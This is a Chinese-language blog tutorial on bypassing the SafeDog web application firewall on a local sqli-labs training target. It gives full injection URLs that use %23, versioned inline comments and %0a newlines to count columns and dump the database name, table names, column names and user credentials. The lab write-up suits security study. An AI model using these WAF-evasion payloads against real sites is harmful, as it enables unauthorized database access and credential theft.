记一次SQL注入绕过安全狗
环境搭建
phpstudy搭建Apache+php 下sqli-lib靶场。
网站安全狗Apache版本4.0
绕过思路
正常注入思路:
判断闭合字符 判断注入类型 查询列数 判断回显位 查询数据库的基本信息 爆数据库名 爆数据库表名 爆字段名 爆值
而常见的sql绕waf的方法有:
大小写, 加密解密 编码解码 等价函数 特殊符号 注释符混用
操作步骤
1.以sqli第一关为例:首先判断闭合字符
2.使用order by 判断列数 ,正常的语句被拦截,无法回显
3.使用内联注释尝试绕过waf,/*! */会干扰waf进行检测数据
安全狗更新之后,所有的payload都已经失效,但是经过多次尝试后,发现“#”字符有着特殊之处
我们的语句发送过去,首先接收安全狗检测,安全狗检测到#号,所以#后面的都会被截断抛弃,所以安全狗只能匹配到#前的order,但是没匹配到#后的by,最终导致语句不完整导致最后的报错。 #的编码为%23
构造如下语句后,发现数据库没有读取到by 3,只读到了order的值
尝试以下语句 ,页面正常,说明在构造语句前加“%23”可以绕过检测,并且判断出列数为三
或者使用另一种语句 group by 判断列数
http://192.168.249.131/sqli/Less-1/?id=1 "%23"/*!12444order */ %0a /*!12444by 3*/ -- +
4.接着判断显示位,通过前边尝试构造的语句,可以轻松构造payload,成功获得显示位2,3
注意 改为-1,或构造为假的条件(and 1=2)
5.爆出数据库信息和版本
语句中带有database(),被拦截,但是database没有进行拦截,说明database和()之间不能连用
构造语句为 http://192.168.249.131/sqli/Less-1/?id=-1"%23" /*!12444union */ %0a /*!12444select*/ 1,database(/*!12444*/),version(/*!12444*/) -- +
6.爆出数据库名后,尝试爆表名
http://192.168.249.131/sqli/Less-1/?id=-1 "%23" /*!12444union */ %0a /*!12444select*/ 1,database(/*!12444*/),group_concat(table_name) from information_schema.tables where table_schema="security"
7.接着尝试爆出users表下的字段值 ,构造语句后,发现被拦截,经过测试发现 and被过滤
尝试 /*!12444and*/
http://192.168.249.131/sqli/Less-1/?id=-1 "%23" /*!12444union */ %0a /*!12444select*/ 1,database(/*!12444*/),group_concat(column_name) from information_schema.columns where table_schema="security" /*!12444and*/ table_name="users"
8.接着就是爆出字段中的值了
http://192.168.249.131/sqli/Less-1/?id=-1 "%23" /*!12444union */ %0a /*!12444select*/ 1,database(/*!12444*/),group_concat(username,password) from users
总结
1、内联注释 可以绕过大多数情况
2、在一些被拦截的地方多用/*%23*/和/*!10440%0a*/,有奇效。
%23为#编码,%0A为换行 一般来说,内联注释只有在紧跟版本号的情况下才有意义,其主要目的是通过版本号来控制部分语句在不同 MySQL 版本下的执行情况
绕过原因:安全狗误以为/**/是注释的内容所以全部忽略。
上一篇:
Java架构师技术进阶路线图
下一篇:
网络层最重要的协议—IP协议